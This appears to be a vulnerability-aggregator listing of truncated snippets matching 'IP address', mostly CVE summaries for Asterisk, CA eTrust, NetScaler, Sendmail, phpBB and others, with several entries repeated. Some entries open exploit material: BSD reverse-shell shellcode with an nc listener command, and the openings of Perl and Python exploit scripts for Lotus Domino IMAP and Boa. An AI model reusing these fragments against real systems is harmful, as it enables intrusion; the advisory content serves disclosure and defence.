Authentication flaw

Asterisk Open Source 1.2.x before 1.2.26 and 1.4.x before 1.4.16, and Business Edition B.x.x before B.2.3.6 and C.x.x before C.1.0-beta8, when using database-based registrations "realtime" and host-based authentication, does not check the IP address when the username is correct and there is no...

CVE-2007-6430

Asterisk Open Source 1.2.x before 1.2.26 and 1.4.x before 1.4.16, and Business Edition B.x.x before B.2.3.6 and C.x.x before C.1.0-beta8, when using database-based registrations "realtime" and host-based authentication, does not check the IP address when the username is correct and there is no...

CVE-2007-6430

Asterisk Open Source 1.2.x before 1.2.26 and 1.4.x before 1.4.16, and Business Edition B.x.x before B.2.3.6 and C.x.x before C.1.0-beta8, when using database-based registrations "realtime" and host-based authentication, does not check the IP address when the username is correct and there is no...

bsd/x86 reverse portbind 129 bytes

No description provided by source. / reverse-portshell BSD shellcode by noir / / local usage: ./reverse-shell 192.168.2.33 / / remote: nc -n -v -v -l -p 6969 / / listen on 6969/tcp / / [email protected] / char shellcode = 0x31,0xc9,0x51,0x41, ...

Cross site scripting

Multiple cross-site scripting XSS vulnerabilities in CA formerly Computer Associates eTrust Threat Management Console allow remote attackers to inject arbitrary web script or HTML via the IP Address field and other unspecified fields...

CVE-2007-6406

Multiple cross-site scripting XSS vulnerabilities in CA formerly Computer Associates eTrust Threat Management Console allow remote attackers to inject arbitrary web script or HTML via the IP Address field and other unspecified fields...

CVE-2007-6406

Multiple cross-site scripting XSS vulnerabilities in CA formerly Computer Associates eTrust Threat Management Console allow remote attackers to inject arbitrary web script or HTML via the IP Address field and other unspecified fields...

CVE-2007-6406

CVE-2007-6406 describes multiple cross-site scripting (XSS) vulnerabilities in CA (formerly Computer Associates) eTrust Threat Management Console. The flaws let remote attackers inject arbitrary web script or HTML through the IP Address field and other unspecified inputs, potentially enabling scr...

NetScaler Web Management Interface IP Address Cookie Information Disclosure

It is possible to extract information about the remote Citrix NetScaler appliance obtained from the web management interface's session cookie, including the appliance's main IP address and software version. %NASLMINLEVEL 70300 netscalerwebcookieinfo.nasl GPLv2 History: 1.00, 11/21/07 - Initial...

CVE-2007-6193

The web management interface in Citrix NetScaler 8.0 build 47.8 stores the device's primary IP address in a cookie, which might allow remote attackers to obtain sensitive network configuration information if this address is not the same as the address being used by the web interface...

Clever use Tcpreplay to let the attack traffic sneak-vulnerability warning-the black bar safety net

TcpreplayisNetwork Securityin a commonly used tool, for its message playback feature we are very clear, but for it to replay rewrite the packets of the contents of the function application but not very much, if can skilled application of Tcpreplay packet rewriting function it is possible to make...

SMBRELAY ultimate application, without password into the viewer hard-vulnerability warning-the black bar safety net

SMBRELAY ultimate application, without password into the viewer's hard disk First thank ENVYMASK Big Brother tireless guidance. Oh Description:: This attack only needs 2 machine, 3 IP address On the Protocol and IP issues description: My IP is 2 1 8. 1 9 7. 2 4 8. 2 1 2, but SMBRELAY is not runni...

CVE-2002-2423

CVE-2002-2423 affects Sendmail versions 8.12.0 through 8.12.6. The vulnerability arises because log messages longer than 100 characters are truncated, allowing a remote attacker to prevent the IP address from being logged via a long IDENT response. The connected Red Hat entry and other CVE record...

CVE-2002-2337

CVE-2002-2337 affects Kaspersky Anti-Hacker 1.0. When configured to automatically block attacks, the product allows remote attackers to block IP addresses and cause a denial of service via spoofed packets. The provided sources describe the affected product and impact but do not offer concrete rem...

CVE-2002-2346

phpBB 2.0 through 2.0.3 generates names for uploaded avatar files with the hex-encoded IP address of the client system, which allows remote attackers to obtain client IP addresses...

CVE-2007-3510.pl.txt

!perl "IBM Lotus Domino" IMAP4 Server 'LSUB' Command Exploit Author: Manuel Santamarina Suarez e-Mail: [email protected] use IO::Socket; use File::Basename; destination TCP port $port = 143; SE handler You can only use HEX values from 0x20 to 0x7e! printable ASCII characters You must use a...

CVE-2002-2280

syslogd on OpenBSD 2.9 through 3.2 does not change the source IP address of syslog packets when the machine's IP addressed is changed without rebooting, e.g. via ifconfig, which can cause incorrect information to be sent to the syslog server...

CVE-2002-2280

This CVE affects syslogd on OpenBSD 2.9–3.2 . The vulnerability occurs because the daemon does not update the source IP address of syslog packets when the host’s IP is changed (e.g., via ifconfig) without rebooting. As a result, the syslog server may receive messages with an outdated or incorrect...

Boa 0.93.15 - HTTP Basic Authentication Bypass

/ Boa HTTP Basic Authentication Bypass Vuln: Boa/0.93.15 with Intersil Extensions Original Advisory: http://www.securityfocus.com/archive/1/479434 http://www.ikkisoft.com/stuff/SN-2007-02.txt Luca "ikki" Carettoni http://www.ikkisoft.com / ---- !/usr/bin/env python import urllib2 SERVERIPADDRESS ...

CVE-2007-5419

The 3Com 3CRWER100-75 router with 1.2.10ww software, when enabling an optional virtual server, configures this server to accept all source IP addresses on the external Internet interface unless the user selects other options, which might expose the router to unintended incoming traffic from remot...